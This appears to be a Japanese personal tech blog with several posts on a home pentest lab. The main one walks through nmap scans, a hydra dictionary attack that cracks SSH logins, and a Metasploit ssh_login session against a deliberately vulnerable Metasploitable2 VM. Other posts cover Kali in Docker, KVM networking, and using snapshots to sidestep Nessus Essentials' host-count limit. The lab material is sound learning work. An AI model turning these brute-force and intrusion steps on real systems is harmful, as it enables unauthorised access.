立ち話

興味があることを書いてます。正確な内容は公式ドキュメントや参考文献を確認してください。

Kali Linux で Metasploitable2 に攻撃して遊んだ

1. はじめに

仕事で脆弱性スキャンをすることになりそうなので、仮想環境で練習しようと考えた。幸い、以前の記事で構築した KVM 環境があるので、これを利用しようと思う。今回は、Metasploitable 2 に対してポートスキャンをして、攻撃するという流れを実施し、備忘録としてまとめようと思う。 [1-3] を参考にしている。

実際に攻撃するにあたって、以下のことに気を付ける。

  1. 攻撃を行う際は、自分と他人の環境に迷惑をかけないようにすること。
  2. 脆弱性のある環境を外部に公開しないこと。

2. 環境構築

ここでは、以前の記事の『Nessusを適用するための仮想環境の構築 - 立ち話』で構築した KVM 環境を活用したいと思う。

攻撃対象の環境

上図のように Kali Linux仮想マシンとしてインストールして、2つのネットワークに接続している。

3. 攻撃 (SSHによる侵入)

ここでは、攻撃の例として、SSHによる侵入を考える。以下の手順で攻撃を行う。

  1. 攻撃端末で攻撃対象が接続しているサブネットに対して ping スキャンを行う。
  2. 攻撃端末で攻撃対象のホストに対してポートスキャンを行う。
  3. 攻撃端末で辞書式攻撃で SSH アカウントを解析する
  4. 攻撃端末で Metersploit module を使って攻撃対象にログインする

なお、ここでは攻撃端末と攻撃対象は以下のように設定している。

  • 攻撃端末: Kali Linux
  • 攻撃対象: Metasploitable2

ここでは、ホストOSから Kali Linux に対して SSH 接続して、SSH 接続したターミナルから操作することにする。

3.1 Ping スキャン

Ping スキャンとポートスキャンは、Nmap というツールを使用する。ポートスキャンは、開いているポート番号 (稼働しているサービス) を特定するため、Ping スキャンはホストを発見するために行う。

nmap -sn [target specification]

今回は、[1], [2] を参考に以下のように実施した。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ nmap -sn 192.168.100.0/24 > ping_scan_isolated
                                                                                
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat ping_scan_isolated 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 13:38 JST
Nmap scan report for N14xZU (192.168.100.1)
Host is up (0.0018s latency).
Nmap scan report for 192.168.100.161
Host is up (0.0014s latency).
Nmap scan report for kali.virtual_network (192.168.100.181)
Host is up (0.0015s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 9.50 seconds

このスキャンの結果から、192.168.100.161 が攻撃対象の IP アドレスとわかる。

3.2 ポートスキャン

次に、192.168.100.161 の空いているポートを調べる。さらに、サービスのバージョンとOSの種類を特定する。

sudo nmap -sV -p- -O [IP address]
Nmapのオプション 概要
-p- 1番から65535番までのポート番号を対象にする
-sV ポートのサービスのバージョンを検出する
-O ターゲットのOSを特定する

今回は、以下のように実施した。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ sudo nmap -sV -p- -O 192.168.100.161 > port_scan_metasploitable

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat port_scan_metasploitable | grep ssh
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

スキャン結果を見ると複数のポートが空いていることが分かる。気になるのはいくつかあるが、今回は ssh でログインできないかを確かめてみる。

3.3 辞書式攻撃によるSSHアカウントの解析

パスワードクラッカーの hydra を使用して、辞書式攻撃によりSSHアカウントを解析する [1]。

以下の user.lstpass.lst を作成し、hydra を用いて解析した。

解析結果は以下のようになった。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ hydra -L user.lst -P pass.lst -t 4 192.168.100.161 ssh > hydra_ssh
                                                                                
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat hydra_ssh                          
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-11 14:00:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 80 login tries (l:8/p:10), ~20 tries per task
[DATA] attacking ssh://192.168.100.161:22/
[22][ssh] host: 192.168.100.161   login: sys   password: batman
[22][ssh] host: 192.168.100.161   login: msfadmin   password: msfadmin
[22][ssh] host: 192.168.100.161   login: user   password: user
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-11 14:01:24

ユーザ名とパスワードの組として、sys/batman, msfadmin/msfadmin, user/user が得られる。

3.4 SSH でのログイン

攻撃端末から攻撃対象に対して、SSHを使用してログインを行う [3]。

ユーザ名とパスワードの組のファイル (user_pass.txt) を作成し、Metersploit module で ssh_login ができるものを使用する。今回は、auxiliary/scanner/ssh/ssh_login を使用した。

msf6 > search ssh_login
msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.100.161
RHOSTS => 192.168.100.161
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/tcbn/Documents/Study_attack/ssh_login/user_pass.txt
USERPASS_FILE => /home/tcbn/Documents/Study_attack/ssh_login/user_pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/ssh/ssh_login) > run
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i

実際に入ってみる。

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

SSH msfadmin:msfadmin (192.168.100.161:22)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 52:54:00:c2:34:d4 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.161/24 brd 192.168.100.255 scope global eth0
    inet6 fe80::5054:ff:fec2:34d4/64 scope link 
       valid_lft forever preferred_lft forever
exit

[*] 192.168.100.161 - Command shell session 1 closed.  Reason: User exit

SSHでログインできて、msfadmin/msfadmin の権限でコマンドを実行できていることが分かる。

画面が小さくて少しわかりにくいが、攻撃端末で攻撃対象に対してSSHログインしているときは、攻撃対象側の22番ポートは ESTABLISHED になっていることが分かる。

4. まとめ

脆弱性のある仮想マシン (Metasploitable2) に対してポートスキャンをして、Metersploit module を使用して攻撃 (侵入) を行ってみた。

もっとできることは多いと思うので、これから本を読んだり検索したりして色々試してみたいと思う。

References

[1] IPUSIRON、ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習、翔泳社、2018

[2] 黒林檎、村島正浩、ハッカーの技術書、DATAHOUSE、2020

[3] Scanner SSH Auxiliary Modules - Metasploit Unleashed、閲覧日: 2022/6/11

Ubuntu20.04 に Docker Container として Kali Linux を導入して、GUIで使いたい

1. はじめに

とある事情で Kali Linux を入れる必要があったので、現在使っているノートパソコン (Ubuntu20.04) とデュアルブートしようとしていたが、何故かインストールがうまくいかなかった。そのため、Docker Container として環境を構築してみる。

ここでは、以下3つの要件を満たすようにしたい。

  1. Kali Linux の基本的なツールが使える (CUI)
  2. ノートパソコンが接続しているサブネットと同一のサブネットの機器と通信可能
  3. (可能であれば) GUIで使う

2. 準備

Docker Engineをインストールする。私は Ubuntu を使用しているので、コマンドラインから Docker をインストールする。インストールのためのシェルスクリプトを作成した1

上記シェルスクリプトの実行後、再起動をすると Docker Engine が使えるようになる。

Ubuntu18.04および20.04で動作することを確認している。スクリプトは私のGitHubリポジトリにも上げている2

3. Kali Linux の導入

3.1 イメージファイルのダウンロード

Kali Linux では、Docker Hub に公式の Docker Image を上げているそうなので、それを利用する (Official Kali Linux Docker Images | Kali Linux Documentation)。

Docker Hub の kalilinux/kali-rolling がデフォルトのイメージなので、これを使う。

docker pull をする。

docker pull kalilinux/kali-rolling

3.2 ネットワークの作成

Docker Container が接続するネットワークを作成する。ここでは、kali-network という名前のネットワークを作成する。

docker network create kali-network

上記コマンドでネットワーク作成後、docker network ls をすると、

tcbn@N14xZU:~$ docker network ls
NETWORK ID     NAME           DRIVER    SCOPE
8b1cc3352942   bridge         bridge    local
9aa1455f82a9   host           host      local
03cbc1bfd02b   kali-network   bridge    local
2f4c77efe200   none           null      local

のようになる。

3.3 コンテナの作成

まずは、要件1と2が満たされるようなコンテナを作成してみる3

docker run -dit --network kali-network -v "$PWD":/root/workspace/ -w /root/workspace/ --name kali-docker-cui kalilinux/kali-rolling:latest

このコマンドを実行すると、kalilinux/kali-rolling:latest をもとにコンテナが作成される。

各オプションの意味を以下の表に示す。

Option Meaning
-dit コンテナをバックグラウンドで実行させる (デタッチモード)
--network [network_name] Dockerネットワークを [network_name] で指定する
-v [local_path]:[container_path] [local_path]で指定されたボリュームをコンテナ内の[container_path]にマウントする
-w [workspace_path] コンテナ内のワークスペース[workspace_path] にする
--name [container_name] コンテナの名前を [container_name] にする

次に、コンテナ内部に入る。

docker exec -it kali-docker-cui /bin/bash

上記コマンドを実行すると、コンテナ内に入ることができる。

基本的なツールを使うためには、kali-linux-default をインストールすれば良いらしい (Kali Linux Metapackages | Kali Linux Documentation )。また、ping等も使えなかったので、インストールしておく4

apt-get update
apt-get -y install kali-linux-default iputils-ping net-tools

かなり時間がかかるので、暇なときや寝る前などに行うことを推奨する。途中何度かyes or noや番号で答える箇所があるが、英語を読んで良さそうな選択肢を選べばよい。

インストールが完了したら、Kali Linux のツールを使えるか確認する。例えば、msfconsole が使えるかを確認する。

また、ノートパソコンが接続しているサブネットと同一のサブネットの機器と通信可能かどうかを確かめる。ホスト側のIPアドレスを調べ、そのサブネットに接続できるかを確認する。

ping [IP address]

ここまでで要件1と2が満たされることが確認できた。

一旦 bash から抜けて、コンテナをイメージとして保存する。

exit
docker commit kali-docker-cui kali-docker-cui:v0.1
docker image ls | grep kali-docker-cui

保存し終えたことを確認したら docker stop でコンテナを停止し、docker rm でコンテナを削除する。

docker stop kali-docker-cui
docker rm kali-docker-cui

先ほど作成した kali-docker-cui からコンテナが作成できることが確認できる。

tcbn@N14xZU:~/Documents/Docker/kali_linux$ docker run -dit --network kali-network -v "$PWD":/root/workspace/ -w /root/workspace/ --name kali-docker-cui kali-docker-cui:v0.1 
90fe363923da00ef573ff45e3a58b85d4d83fa7a9602af4c4556880e68badaf7
tcbn@N14xZU:~/Documents/Docker/kali_linux$ docker exec -it kali-docker-cui /bin/bash
┌──(root㉿90fe363923da)-[~/workspace]
└─# 

4. GUIで使う

GUIとして利用するには、VNCがインストールされたイメージファイルを使う。いくつかのイメージファイルがあるが、ここでは iphoneintosh/kali-docker を使う。まずはデスクトップが使えるかテストする。

docker pull iphoneintosh/kali-docker:latest
docker run --rm -it -p 9020:8080 -p 9021:5900 iphoneintosh/kali-docker:latest

このコマンド実行後に、https://localhost:9020/vnc.html にアクセスすると、GUIとして表示される。パスワードはデフォルトで changeme となっているようだ。

このままでは Kali の基本的なツールが使えないので、3.3 と同様にインストールする。

一旦 exit でコンテナを抜けて (--rmオプションをつけているので、削除される)、ネットワーク、コンテナ名、ボリュームなどを指定して新しいコンテナを作成し、3.3と同様に基本的なツールをインストールする。コンテナ作成時は例えば、以下のように指定する。

tcbn@N14xZU:~/Documents/Docker/kali_gui$ docker run -it --network kali-network -v "$PWD":/root/workspace/ -w /root/workspace/ --name kali-docker-gui -p 9020:8080 -p 9021:5900 iphoneintosh/kali-docker:latest

そして、3.3と同様に、

apt-get update
apt-get -y install kali-linux-default iputils-ping net-tools

を実行する5。 基本的なツールは使うことができるようである (Wiresharkなど起動しないものもあった)。VNCクライアントから接続しようと思ったが、接続できなかったので今回は諦めた。ブラウザで接続することにする。

5. まとめ

ここでは、Docker Container として Kali Linux を導入する方法をまとめた。公式が Kali Linux のイメージを作っていてくれているのは大きい。

GUI の方は有志の方が作ってくださっていた。ありがたい。


  1. 参考: Docker Engine のインストールと使用法(Ubuntu 上)

  2. TIL/install_docker.sh at main · tcbn-ai/TIL · GitHub

  3. 追記: Ubuntu側のホームディレクトリをマウントしていたことに途中で気付き、新しくコンテナを作成し直したので、途中からIDが変わっている。

  4. 参考: docker イメージの中にpingとかないとき

  5. 後で気付いたが、default tools をインストールしたものを用意してくれていたので、iphoneintosh/kali-docker:default を指定すれば良かった。

KVM 上の Ubuntu20.04 に Nessus Essentials を入れて色々試す

1. はじめに

前の記事で仮想環境を構築した1。今回はこの仮想環境に対してNessusを適用するために、仮想環境上のUbuntu20.04に nessus essentials をインストールする。nessus essentials は、スキャンできるIPが16個までという制限があるが、基本的に商用版と同じ機能を使うことができるらしい。 使う前に、nessus essentials について生じた疑問点を挙げる。

  1. Nessusのインストール後、インストール前に作成したスナップショットに戻って再度 nessus をインストールするときに、最初のインストールで使用した activation code は2回目のインストールで使用できるのか?
  2. Nessus のスキャン後に同一のMACアドレスの機器にIPアドレスを振り直して再度スキャンすると、登録されたホスト (IPアドレス) の個数はどのように変化するのか?
  3. 同じメールアドレスでアクティベーションコードを取得し直すと、登録されたホスト (IPアドレス) の個数はどのように変化するのか?
  4. 登録されたIPアドレスの数を0に戻す方法はあるのか?

この記事では、以上4つの疑問点を解消するために色々試していく。

2. 準備

2.1 アクティベーションコードの入手方法

tenableのサイト で名前とメールアドレスを入力して送信すると、入力したメールアドレス宛にアクティベーションコードが送られてくる。

Activation code

2.2 ダウンロード方法

ダウンロードサイト から、自分のOSに合うものをダウンロードする。今回 nessus essentials をインストールする仮想マシンの OS は Ubuntu 20.04 なので、Nessus-10.1.2-ubuntu1110_amd64.deb をダウンロードする。

nessus のダウンロード

この時点のスナップショットを作成しておく。

スナップショット (nessus のインストール前)

3. nessus essentials に対する疑問点の解消

3.1 スナップショットを使用したときのアクティベーションコードの扱い

送られてくるアクティベーションコードの説明には、

This is a one-time code. If you uninstall and then reinstall you will need to register the scanner again and receive another activation code.

とあった。これは、スナップショットを使ったときも同様なのか、ということが気になったので、インストールしながら試したいと思う。

3.1.1 インストール

インストール方法について、日本語でまとめてくださっている記事があるので、この記事を参考にしながらインストールをする2apt を使ってインストールする。

sudo apt install ./Nessus-10.1.2-ubuntu1110_amd64.deb 

インストール後、以下のように出力される。

Created symlink /etc/systemd/system/nessusd.service → /lib/systemd/system/nessus
d.service.
Created symlink /etc/systemd/system/multi-user.target.wants/nessusd.service → /l
ib/systemd/system/nessusd.service.

 - You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
 - Then go to https://vm-ubuntu:8834/ to configure your scanner

次に、nessusd.service を起動する。

sudo systemctl start nessusd

そして、ブラウザから https://localhost:8834/ にアクセスする。

localhost へのアクセス

このように警告が出されるが、Advanced をクリックし、Accept the Risk and Continue とすると、以下のようなセットアップ画面になる。

nessus のセットアップ

アクティベーションの登録をスキップすると、アクティベーションコードの登録画面が出てくる。そこに、先程入手したアクティベーションを入力する。

Activation code

ユーザアカウントを作成するために、ユーザ名とパスワードを入力する。

ユーザアカウントの作成

プラグインの初期化画面に遷移する (仮想マシンの設定によってはかなり時間がかかる。私の環境では30分以上かかった)。

プラグインの初期化

これでインストールが完了する。

Nessus のインストールの完了

この状態でスナップショットを作成する。

スナップショット (nessus のインストール後)

3.1.2 スナップショットを使う

スナップショットを使ってインストール前に戻った際に、同じアクティベーションコードを使ってインストールを進めることができるかどうかを実験する。インストール終了後にスナップショットを作成し、仮想マシンをシャットダウンする。そして、インストール前のスナップショットに戻り、同じアクティベーションコードを入力してインストールを進めてみる。

スナップショットを使う

スナップショットを使ってみたところ、同じアクティベーションコードを使ってインストールを進めることができた。

結果: Nessusのインストール後、インストール前に作成したスナップショットに戻って再度 nessus をインストールするときに、最初のインストールで使用した activation code は2回目のインストールでも使用できる。

3.2 スキャン後に同一のMACアドレスの機器にIPアドレスを振り直す

実際にスキャンをしてみる。1台もスキャンしない状態では、nessus に登録されているホストの数は0である。

nessus のスキャン前の状態

3.2.1 脆弱性スキャンの実施

ここでは、Basic Network Scan を metasploitable に対して実施する。

metasploitable2 の仮想マシンを起動し、ubuntu20 から metasploitable に対してスキャンを行う。

スキャン名と target の IPアドレスを以下のように設定する。

nessus のスキャン設定

次に、Credentials でホストに対して ssh のログイン情報を追加する。今回は、IDおよびパスワードが公開されているので、それを用いる。

nessus のスキャン設定 (2)

このように設定した上で、スキャンを実行する。

スキャンの実行

スキャンの実行後、レポートを出力し、スナップショットを取得する。

スキャン結果

また、この時点でホスト数は1になっていることが分かる。

スキャン後のホスト数

3.2.2 IPアドレスを変更して再度スキャンする

IPアドレス192.168.100.161 から 192.168.100.162 に変更してスキャンを行う。

IP アドレスの変更

(ここはもっと良い方法があるかもしれない)

virsh net-update [network name] delete ip-dhcp-host '<host mac=[mac address] ip=[ip address]/>' --live --config

を root 権限で実行し、一度固定した IPの設定を解除する。その上で、

virsh net-update [network name] add ip-dhcp-host '<host mac=[mac address] ip=[new ip address]/>' --live --config

として、新しく固定するIPを加える。そして、

virsh domif-setlink [guestname] [mac address] down
sleep 10
virsh domif-setlink [guestname] [mac address] up

として、自分のマシンに反映させる。これでうまくいかなかった場合 (私はうまくいかなかった) は、ホストOS自体を再起動する3

スキャン

IPアドレス192.168.100.162 にした上で再度スキャンを行う。

nessus スキャンの際に IPアドレスを変更する

スキャン後にアカウントを見てみると、IPアドレスが追加されていることがわかる。

IPアドレス変更後にスキャン

結果: Nessus のスキャン後に同一のMACアドレスの機器にIPアドレスを振り直して再度スキャンすると、登録されたホスト (IPアドレス) の個数は増加する。

3.3 同じメールアドレスでアクティベーションコードを取得し直す

nessus essentials にログインした際の画面を見ると、Activation code を編集できるようになっている。この activation code を変更すると、Licensed Hosts の数はどのように変化するのか確かめたい。

次の2つの場合を試してみる。

  1. nessus essentials をアンインストールせずに、activation code のみを変更する。
  2. nessus essentials をアンインストールし、再度 deb からインストールした上で、activation code を変更する。

3.3.1 nessus essentials をアンインストールしない場合

nessus essentials をアンインストールせずに、Activation code のみを変更する。

Activation code を入れ直す

Activation code の変更後、ログインすると、Licensed Hosts の数は変化していないことがわかる。

Activation code の変更のみをしてログインした場合

3.3.2 nessus essentials をアンインストールする場合

nessus essentials のアンインストールについては、tenable Documentation 参照4

sudo systemctl stop nessusd

nessusd.service を停止し、

sudo apt remove nessus

でアンインストールする。アンインストール後は、https://localhost:8834/ でアクセスしても何も立ち上がらない。

Nessus のアンインストール後のブラウザ

アンインストール後にスナップショットを作成し、再度 deb からインストールする。

sudo apt install ./Nessus-10.1.2-ubuntu1110_amd64.deb
sudo systemctl start nessusd

再インストール後、セットアップ画面にはならず、Username と Password を入れる画面になった。ログインすると先程と同様、ホスト数は2だった。

再インストール後の状況

この状態で、同じメールアドレスで新しく activation code を取得したものを入力してもホスト数は変わらなかった。

結果: Nessus をアンインストールしてもしなくても、同じメールアドレスで新しく activation code を取得した場合は登録されたホスト数は変わらない。

3.4 登録された IP アドレスを0に戻す方法

ここでは、思いつく限りの方法で登録された IP アドレスの個数を 0 にしようとする。

  1. メールアドレスを変えて activation code を取得する
  2. スナップショットの活用
  3. 新しい仮想マシンの作成

3.4.1 メールアドレスの変更

メールアドレスを変更して新しい activation code を取得し、入力するとどうなるかということを試す。

メールアドレスを変えて activation code を入手した場合

ここまでの展開で予想はできたが、メールアドレスを変更して新しい activation code を入手しても、ホスト数は変わらなかった。

3.4.2 スナップショットの活用

インストール直後に作成したスナップショットの時点まで戻れば、IPアドレスの個数は0であるだろう。

スナップショットでインストールした時点に戻った場合

実際、この時点に戻ると、登録されているホスト数は0であった。

スナップショットを利用すると、面白いことができてしまう。

  1. インストール後にスナップショットを作成し、スキャンを行う。
  2. スキャン後に、結果 (nessus) を出力 (export) し、スナップショットを作成する。
  3. 仮想マシンにある結果をホストOSに送る。
  4. インストール直後のスナップショットに戻り、ホストOSから結果を仮想マシンに送る。
  5. 結果をインポートする。

インポートすると、Nessus 側では実施したスキャン結果を見ることができる。

インポートしたスキャン結果

このとき、ホスト数は0のままである。

スキャン結果をインポートした後のホスト数

つまり、スナップショットを使うことによって、ホスト数を気にせずにスキャンを行うことができる。

3.4.3 新しい仮想マシンの作成

スナップショットを活用しないまま進めてしまい、登録できるホスト数で詰まってしまうこともあるかもしれない。そんなときは、思い切って新しい仮想マシンを作成する、ということを考える。流石に新しい仮想マシンまでは IP アドレスの制限はなされないだろう。ここではメールアドレスは同じものを用いた場合で試してみる。

新しい仮想マシンで nessus をインストールし、https://localhost:8834/ にアクセスすると、(当然だが) 初めてインストールしたときのようにアクティベーションの入力、ユーザ名とパスワードの登録の画面が出てきて、初期化の画面に遷移した。

新しい仮想マシンに nessus を入れた場合

しばらく待ってから確認すると、ホスト数は0だった。

新しい仮想マシンに nessus を入れた場合のホスト数

4. まとめ

今回の検証で分かったことを示す。

  • Nessusのインストール後、インストール前に作成したスナップショットに戻って再度 nessus をインストールするときに、最初のインストールで使用した activation code は2回目のインストールでも使用できる。
  • Nessus のスキャン後に同一のMACアドレスの機器にIPアドレスを振り直して再度スキャンすると、登録されたホスト (IPアドレス) の個数は増加する。
  • Nessus をアンインストールしてもしなくても、同じメールアドレスで新しく activation code を取得した場合は登録されたホスト数は変わらない。
  • メールアドレスを変更して新しい activation code を入手しても、ホスト数は変わらない。
  • スナップショットの活用が有効。
  • 新しい仮想マシンを作成し、登録済みのメールアドレスに activation code を送り、そのアクティベーションコードを利用してインストールすると、新しくインストールされた nessus のホスト数は0である。

ホスト数に関しては、以下の表のようにまとめられる。

行動 ホスト数
同一機器のIPアドレスの変更 増加
新規アクティベーションコード (essentials) への変更 変化なし
新規仮想マシンへのインストール 0になる

そのため、nessus essentials を使用するときは、使用前のスナップショットを作成し、使用する度に使用前のスナップショットに戻って新しくスキャンするといった操作をすると良いだろう。


  1. Nessusを適用するための仮想環境の構築

  2. 参考: Nessusインストールと、基本的な使用方法

  3. 私の場合はこれでうまくいったが、うまくいかない場合もあるかもしれない。もっと良い方法を募集したい。

  4. 参考: Uninstall Nessus on Linux

Nessusを適用するための仮想環境の構築

1. はじめに

この記事では、Nessusを適用する仮想環境のネットワーク構成とKVMでの実現方法を示す。

2. 仮想環境の構築

2.1 仮想環境のネットワーク構成

今回は、以下のようなネットワーク構成の仮想環境を構築する。

仮想環境のネットワーク構成

192.168.122.0/24 はインターネット接続が可能なサブネット、192.168.100.0/24 は内部で閉じた (インターネット接続ができない) サブネットとする。このような構成のネットワークを、KVMを用いて構築したい。

2.2 KVMでの実現方法

このような仮想環境を、KVMをインストールしたUbuntu20.04のlaptopに構築する。

KVMでの実現

KVMを用いて仮想マシンを作成し、上図のような Virtual Network Switch への接続にすれば良い。

内部で閉じたサブネットを作るために、Virtual Network Switch の Isolated mode を用いることにする1。 インターネット接続できるネットワークの方は、はじめから作られているもの (default) を使う。

2.3 環境の構築 (概要)

ここでは、仮想環境の構築の流れについてまとめる。具体的な手順については省略する。

2.3.1 ISOまたはVMDKのダウンロード

公式サイト等からISOファイルもしくはVMDKイメージをダウンロードする。以下にリンクを貼る。

2.3.2 ISOを用いたOSのインストール

ISOファイルを用いて Ubuntu22 と Linux mint をインストールする。具体的な手順は過去記事2に書いている。 構築の際は、ネットワークの設定に注意する。

2.3.3 VMDKイメージからの仮想マシンの構築

vmdk 形式のイメージを qcow2 に変換して、仮想マシンを作る。具体的な手順は、以前の記事3に書いている。

2.3.4 Nessus をインストールするための仮想マシンを作成する。

上図の仮想マシンの他に、Nessusをインストールしてスキャンを行うための仮想マシンを作る。ここでは、Ubuntu20を使用することにした。

ここまでの操作で仮想マシンが5つできると思う。

仮想マシンのリスト

2.3.5 IPアドレスの固定

以前の記事4に書いたようにして、各仮想マシンIPアドレスを固定する。 ただし、Windows7IPアドレスの固定については、仮想マシン内で行う5

2.3.6 スナップショットの作成

IPアドレスの固定が終わったら、現在の仮想マシンの状態を保存するためにスナップショットを作成する。スナップショットを作成することで、操作を間違えても過去に保存した状態に戻ることができる (これが仮想マシンを使うメリットである)。

KVMでスナップショットを作成するには、コマンドを用いる方法とGUIを用いる方法があるが、今回はGUIを用いる方法で行う。Virtual Machine Manager から仮想マシンを開き (左から2つ目のOpenをクリックし)、Manage VM snapshots を選択する。

スナップショットを作成するには、左下の "+" をクリックして、スナップショットの名前と説明を書くと良い。

スナップショット

過去のスナップショットに戻ると、その後に実行した処理 (その後スナップショットに保存していないもの) がなかったことになる。 つまり、ある時点T1, T2 (T1 <T2) でスナップショットを作成し、T3 (>T2) でT1時点のスナップショットに戻ると、T2からT3までに実行した処理はなかったことになり、仮想マシンの状態はT1時点のものに戻る。

Metasploitable2をKVMに導入する

1. はじめに

Nessus を用いる際に、脆弱性のある仮想マシンとして Metasploitable も導入したいと思ったので、ここではKVMにMetasploitable2をインストールする方法についてまとめる。

1.1 Metasploitable

Metasploitable は、意図的に脆弱に作られたLinuxマシンである1。 Metasploitableの仮想マシンはセキュリティのトレーニング、セキュリティテストのツール、ペネトレーションテストの練習に役立つ。信頼できないネットワークに対しては公開してはならない。

2. ダウンロードと導入

2.1 ダウンロードと導入のための準備

Sourceforge から最新版をダウンロードする2。 ダウンロードしたzipを解凍すると、以下のような構成になっていると思う。

tcbn@tcbn-N14xZU:~/Downloads/Metasploitable2-Linux$ ls
Metasploitable.nvram  Metasploitable.vmsd  Metasploitable.vmxf
Metasploitable.vmdk   Metasploitable.vmx

KVMでは vmdk 形式のファイル (VMWareのイメージ) も扱うことができるが、KVMのスナップショット機能を利用するためには qcow2 形式である必要があるため、qemu-img convert コマンドで vmdk イメージを qcow2 イメージに変換する。今回実行するコマンドは、

qemu-img convert -f vmdk -O qcow2 Metasploitable.vmdk Metasploitable.qcow2

のようになる。これで qcow2 形式のイメージが得られるので、コピー (バックアップ) をしてから使用すると良いだろう。

cp Metasploitable.qcow2 Metasploitable_cp.qcow2

また、信頼できないネットワークに公開しないために、Isolated Network のサブネットを新しく作っておき、このネットワークのみに接続することにする。サブネットの作成については、以前の記事に簡単に書いている3

2.2 導入

ここまで準備した上で、KVMにMetasploitableを導入する。導入方法については海外の方の記事で参考になるものがあった4。 Virtual Machine Manager を開き、"Create a new virtual machine" で、"Import existing disk image" を選択し、次に進む。

Create a new virtual machine

Browse の Browse Local から、作ったqcow2を選択する。

Browse Local

パスが入ったのを確認し、インストールするOSを "Generic default" として次に進む (パスを探索する権限がないといった警告が出るが、次に進んで問題ないと思う)。

Choose the OS

メモリやCPUの設定をして次に進む。

Choose Memory and CPU settings

仮想マシンの名前、ネットワークの選択をする。Network selection で、作成した Isolated network を選択することに注意する。念のため、"Customize configuration before install" にチェックを入れてから Finish する。

Ready to begin the installation

Configuration のネットワークの設定で、Isolated network になっているかを再確認して (念のため)、左上の Begin Installation をクリックする。

Configuration

少し待つと、ログイン画面が出てくる。

Login

ユーザ名とパスワードが表示されているので、この通りにログインする。IPアドレスを確かめると、Isolated Network に接続されていることがわかる。

Login and check IP address

IPアドレスを固定して使用することにする。

KVMでIPアドレスを固定する

1. はじめに

KVMを用いて仮想環境を構築するまでは前の記事で書いた1。 Nessusを用いる際に各VMIPアドレスを固定したいと思ったので、ここではその方法についてまとめる。

2. サブネットの追加

ここでは、Virtual Machine Manager を用いて仮想ネットワークを作成する2。 Connection Details メニューの Virtual Networks タブを開き、"Add Network" ボタン (左下の+ボタン) をクリックする。

そして、名前、モード、ネットワークアドレス、DHCPの範囲などを指定して、Finish ボタンを押す。

仮想ネットワークの作成

3. 静的IPアドレスの設定

ここでは、仮想マシンのUbuntu20.04 に対して静的IPアドレスを設定する3。 ここでは、コマンドラインの操作をホストの物理マシンで行う。

3.1 ゲスト XML 設定ファイルの確認

virsh domiflist [guestname] コマンドをroot権限で実行し、ゲストのネットワーク設定を表示する。私の環境の場合、

tcbn@tcbn-N14xZU:~$ sudo virsh domiflist ubuntu20.04 
[sudo] password for tcbn: 
 Interface   Type      Source            Model    MAC
---------------------------------------------------------------------
 vnet0       network   default           virtio   52:54:00:b2:8d:75
 vnet1       network   virtual_network   virtio   52:54:00:e7:56:40

だった。今回は、virtual_network 側のIPアドレスの固定を例に説明する。

3.2 DHCP範囲の確認

参考にしたサイトによると、設定するIPアドレスはネットワークのDHCPの範囲内で設定する必要があるとのことなので、DHCPの範囲とすでに使用されているアドレスを以下のコマンドをroot権限で実行することで確認する。

virsh net-dumpxml default | egrep 'range|host\ mac'

私の環境の場合、

tcbn@tcbn-N14xZU:~$ sudo virsh net-dumpxml virtual_network | egrep 'range|host\ mac'
      <range start='192.168.100.128' end='192.168.100.254'/>

だった。

3.3 静的IPの設定

ホストマシンで以下のコマンドをroot権限で実行する。

virsh net-update [network name] add ip-dhcp-host '<host mac=[mac address] ip=[ip address]/>' --live --config

--live オプションは、この変更を即座に有効にし、--config オプションは変更を永続化する。例えば、192.168.100.131 に固定する場合は以下。

tcbn@tcbn-N14xZU:~$ sudo virsh net-update virtual_network add ip-dhcp-host '<host mac="52:54:00:e7:56:40" ip="192.168.100.131"/>' --live --config
Updated network virtual_network persistent config and live state

3.4 インタフェースの再起動

ゲスト仮想マシンが実行中の場合、ゲスト仮想マシンDHCPアドレスの再要求を強制する必要がある。インタフェースの再起動のためには、以下のコマンドをroot権限で実行する。

virsh domif-setlink [guestname] [mac address] down
sleep 10
virsh domif-setlink [guestname] [mac address] up

sleep 10 (これは一般ユーザ権限でも実行化) としたのは、DHCPクライアントに古いIPアドレスを忘れさせるため。これでうまく反映されなかったら、仮想マシンの電源を一度落として再度起動すると良い。

私の環境の場合、以下のようになった。

tcbn@tcbn-N14xZU:~$ sudo virsh domif-setlink ubuntu20.04 52:54:00:e7:56:40 down
Device updated successfully

tcbn@tcbn-N14xZU:~$ sleep 10
